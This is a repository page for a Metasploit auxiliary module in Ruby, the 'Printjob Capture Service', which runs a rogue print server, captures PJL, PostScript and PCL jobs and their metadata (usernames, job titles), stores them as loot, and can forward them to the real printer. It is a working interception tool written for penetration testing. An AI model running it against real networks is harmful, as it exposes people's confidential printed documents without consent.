ddef5b4961
With Metasploit 5, RHOST and RHOSTS are aliases, so no need to deregister one or the other, as they are the same option. Deregistering one deregisters both.
265 lines
8.5 KiB
Ruby
265 lines
8.5 KiB
Ruby
##
|
|
# This module requires Metasploit: https://metasploit.com/download
|
|
# Current source: https://github.com/rapid7/metasploit-framework
|
|
##
|
|
|
|
class MetasploitModule < Msf::Auxiliary
|
|
include Msf::Exploit::Remote::TcpServer
|
|
include Msf::Exploit::Remote::Tcp
|
|
include Msf::Auxiliary::Report
|
|
|
|
def initialize
|
|
super(
|
|
'Name' => 'Printjob Capture Service',
|
|
'Description' => %q{
|
|
This module is designed to listen for PJL or PostScript print
|
|
jobs. Once a print job is detected it is saved to loot. The
|
|
captured printjob can then be forwarded on to another printer
|
|
(required for LPR printjobs). Resulting PCL/PS files can be
|
|
read with GhostScript/GhostPCL.
|
|
|
|
Note, this module does not yet support IPP connections.
|
|
},
|
|
'Author' => ['Chris John Riley', 'todb'],
|
|
'License' => MSF_LICENSE,
|
|
'References' =>
|
|
[
|
|
# Based on previous prn-2-me tool (Python)
|
|
['URL', 'http://blog.c22.cc/toolsscripts/prn-2-me/'],
|
|
# Readers for resulting PCL/PC
|
|
['URL', 'http://www.ghostscript.com']
|
|
],
|
|
'Actions' => [[ 'Capture' ]],
|
|
'PassiveActions' => ['Capture'],
|
|
'DefaultAction' => 'Capture'
|
|
)
|
|
|
|
register_options([
|
|
OptPort.new('SRVPORT', [ true, 'The local port to listen on', 9100 ]),
|
|
OptBool.new('FORWARD', [ true, 'Forward print jobs to another host', false ]),
|
|
OptAddress.new('RHOST', [ false, 'Forward to remote host' ]),
|
|
OptPort.new('RPORT', [ false, 'Forward to remote port', 9100 ]),
|
|
OptBool.new('METADATA', [ true, 'Display Metadata from printjobs', true ]),
|
|
OptEnum.new('MODE', [ true, 'Print mode', 'RAW', ['RAW', 'LPR']]) # TODO: Add IPP
|
|
|
|
])
|
|
|
|
deregister_options('SSL', 'SSLVersion', 'SSLCert', 'RHOSTS')
|
|
end
|
|
|
|
def setup
|
|
super
|
|
@state = {}
|
|
|
|
begin
|
|
|
|
@srvhost = datastore['SRVHOST']
|
|
@srvport = datastore['SRVPORT'] || 9100
|
|
@mode = datastore['MODE'].upcase || 'RAW'
|
|
if datastore['FORWARD']
|
|
@forward = datastore['FORWARD']
|
|
@rport = datastore['RPORT'] || 9100
|
|
if datastore['RHOST'].nil?
|
|
fail_with(Failure::BadConfig, "Cannot forward without a valid RHOST")
|
|
end
|
|
@rhost = datastore['RHOST']
|
|
print_status("Forwarding all printjobs to #{@rhost}:#{@rport}")
|
|
end
|
|
if not @mode == 'RAW' and not @forward
|
|
fail_with(Failure::BadConfig, "Cannot intercept LPR/IPP without a forwarding target")
|
|
end
|
|
@metadata = datastore['METADATA']
|
|
print_status("Starting Print Server on %s:%s - %s mode" % [@srvhost, @srvport, @mode])
|
|
|
|
exploit()
|
|
|
|
rescue => ex
|
|
print_error(ex.message)
|
|
end
|
|
end
|
|
|
|
def on_client_connect(c)
|
|
@state[c] = {
|
|
:name => "#{c.peerhost}:#{c.peerport}",
|
|
:ip => c.peerhost,
|
|
:port => c.peerport,
|
|
:user => nil,
|
|
:pass => nil,
|
|
:data => '',
|
|
:raw_data => '',
|
|
:prn_title => '',
|
|
:prn_type => '',
|
|
:prn_metadata => {},
|
|
:meta_output => []
|
|
}
|
|
|
|
print_status("#{name}: Client connection from #{c.peerhost}:#{c.peerport}")
|
|
end
|
|
|
|
def on_client_data(c)
|
|
curr_data = c.get_once
|
|
@state[c][:data] << curr_data
|
|
if @mode == 'RAW'
|
|
# RAW Mode - no further actions
|
|
elsif @mode == 'LPR' or @mode == 'IPP'
|
|
response = stream_data(curr_data)
|
|
c.put(response)
|
|
end
|
|
|
|
if (Rex::Text.to_hex(curr_data.first)) == '\x02' and (Rex::Text.to_hex(curr_data.last)) == '\x0a'
|
|
print_status("LPR Jobcmd \"%s\" received" % curr_data[1..-2]) if not curr_data[1..-2].empty?
|
|
end
|
|
|
|
return if not @state[c][:data]
|
|
end
|
|
|
|
def on_client_close(c)
|
|
print_status("#{name}: Client #{c.peerhost}:#{c.peerport} closed connection after %d bytes of data" % @state[c][:data].length)
|
|
sock.close if sock
|
|
|
|
# forward RAW data as it's not streamed
|
|
if @forward and @mode == 'RAW'
|
|
forward_data(@state[c][:data])
|
|
end
|
|
|
|
#extract print data and Metadata from @state[c][:data]
|
|
begin
|
|
# postscript data
|
|
if @state[c][:data] =~ /%!PS-Adobe/i
|
|
@state[c][:prn_type] = "PS"
|
|
print_good("Printjob intercepted - type PostScript")
|
|
# extract PostScript data including header and EOF marker
|
|
@state[c][:raw_data] = @state[c][:data].match(/%!PS-Adobe.*%%EOF/im)[0]
|
|
# pcl data (capture PCL or PJL start code)
|
|
elsif @state[c][:data].unpack("H*")[0] =~ /(1b45|1b25|1b26)/
|
|
@state[c][:prn_type] = "PCL"
|
|
print_good("Printjob intercepted - type PCL")
|
|
#extract everything between PCL start and end markers (various)
|
|
@state[c][:raw_data] = Array(@state[c][:data].unpack("H*")[0].match(/((1b45|1b25|1b26).*(1b45|1b252d313233343558))/i)[0]).pack("H*")
|
|
end
|
|
# extract Postsript Metadata
|
|
metadata_ps(c) if @state[c][:data] =~ /^%%/i
|
|
|
|
# extract PJL Metadata
|
|
metadata_pjl(c) if @state[c][:data] =~ /@PJL/i
|
|
|
|
# extract IPP Metadata
|
|
metadata_ipp(c) if @state[c][:data] =~ /POST \/ipp/i or @state[c][:data] =~ /application\/ipp/i
|
|
|
|
if @state[c][:prn_type].empty?
|
|
print_error("Unable to detect printjob type, dumping complete output")
|
|
@state[c][:prn_type] = "Unknown Type"
|
|
@state[c][:raw_data] = @state[c][:data]
|
|
end
|
|
|
|
# output discovered Metadata if set
|
|
if @state[c][:meta_output] and @metadata
|
|
@state[c][:meta_output].sort.each do | out |
|
|
# print metadata if not empty
|
|
print_status("#{out}") if not out.empty?
|
|
end
|
|
else
|
|
print_status("No metadata gathered from printjob")
|
|
end
|
|
|
|
# set name to unknown if not discovered via Metadata
|
|
@state[c][:prn_title] = 'Unnamed' if @state[c][:prn_title].empty?
|
|
|
|
#store loot
|
|
storefile(c) if not @state[c][:raw_data].empty?
|
|
|
|
# clear state
|
|
@state.delete(c)
|
|
|
|
rescue => ex
|
|
print_error(ex.message)
|
|
end
|
|
end
|
|
|
|
def metadata_pjl(c)
|
|
# extract PJL Metadata
|
|
|
|
@state[c][:prn_metadata] = @state[c][:data].scan(/^@PJL\s(JOB=|SET\s|COMMENT\s)(.*)$/i)
|
|
print_good("Extracting PJL Metadata")
|
|
@state[c][:prn_metadata].each do | meta |
|
|
if meta[0] =~ /^COMMENT/i
|
|
@state[c][:meta_output] << meta[0].to_s + meta[1].to_s
|
|
end
|
|
if meta[1] =~ /^NAME|^STRINGCODESET|^RESOLUTION|^USERNAME|^JOBNAME|^JOBATTR/i
|
|
@state[c][:meta_output] << meta[1].to_s
|
|
end
|
|
if meta[1] =~ /^NAME/i
|
|
@state[c][:prn_title] = meta[1].strip
|
|
elsif meta[1] =~/^JOBNAME/i
|
|
@state[c][:prn_title] = meta[1].strip
|
|
end
|
|
end
|
|
end
|
|
|
|
def metadata_ps(c)
|
|
# extract Postsript Metadata
|
|
|
|
@state[c][:prn_metadata] = @state[c][:data].scan(/^%%(.*)$/i)
|
|
print_good("Extracting PostScript Metadata")
|
|
@state[c][:prn_metadata].each do | meta |
|
|
if meta[0] =~ /^Title|^Creat(or|ionDate)|^For|^Target|^Language/i
|
|
@state[c][:meta_output] << meta[0].to_s
|
|
end
|
|
if meta[0] =~ /^Title/i
|
|
@state[c][:prn_title] = meta[0].strip
|
|
end
|
|
end
|
|
end
|
|
|
|
def metadata_ipp(c)
|
|
# extract IPP Metadata
|
|
|
|
@state[c][:prn_metadata] = @state[c][:data]
|
|
print_good("Extracting IPP Metadata")
|
|
case @state[c][:prn_metadata]
|
|
when /User-Agent:/i
|
|
@state[c][:meta_output] << @state[c][:prn_metadata].scan(/^User-Agent:.*/i)
|
|
when /Server:/i
|
|
@state[c][:meta_output] << @state[c][:prn_metadata].scan(/^Server:.*/i)
|
|
when /printer-uri..ipp:\/\/.*\/ipp\//i
|
|
@state[c][:meta_output] << @state[c][:prn_metadata].scan(/printer-uri..ipp:\/\/.*\/ipp\//i)
|
|
when /requesting-user-name..\w+/i
|
|
@state[c][:meta_output] << @state[c][:prn_metadata].scan(/requesting-user-name..\w+/i)
|
|
end
|
|
end
|
|
|
|
def forward_data(data_to_send)
|
|
print_status("Forwarding PrintJob on to #{@rhost}:#{@rport}")
|
|
connect
|
|
sock.put(data_to_send)
|
|
sock.close
|
|
end
|
|
|
|
def stream_data(data_to_send)
|
|
vprint_status("Streaming %d bytes of data to #{@rhost}:#{@rport}" % data_to_send.length)
|
|
connect if not sock
|
|
sock.put(data_to_send)
|
|
response = sock.get_once
|
|
return response
|
|
end
|
|
|
|
def storefile(c)
|
|
# store the file
|
|
|
|
if @state[c][:raw_data]
|
|
jobname = File.basename(@state[c][:prn_title].gsub("\\","/"), ".*")
|
|
filename = "#{jobname}.#{@state[c][:prn_type]}"
|
|
loot = store_loot(
|
|
"prn_snarf.#{@state[c][:prn_type].downcase}",
|
|
"#{@state[c][:prn_type]} printjob",
|
|
c.peerhost,
|
|
@state[c][:raw_data],
|
|
filename,
|
|
"PrintJob capture"
|
|
)
|
|
print_good("Incoming printjob - %s saved to loot" % @state[c][:prn_title])
|
|
print_good("Loot filename: %s" % loot)
|
|
end
|
|
end
|
|
end
|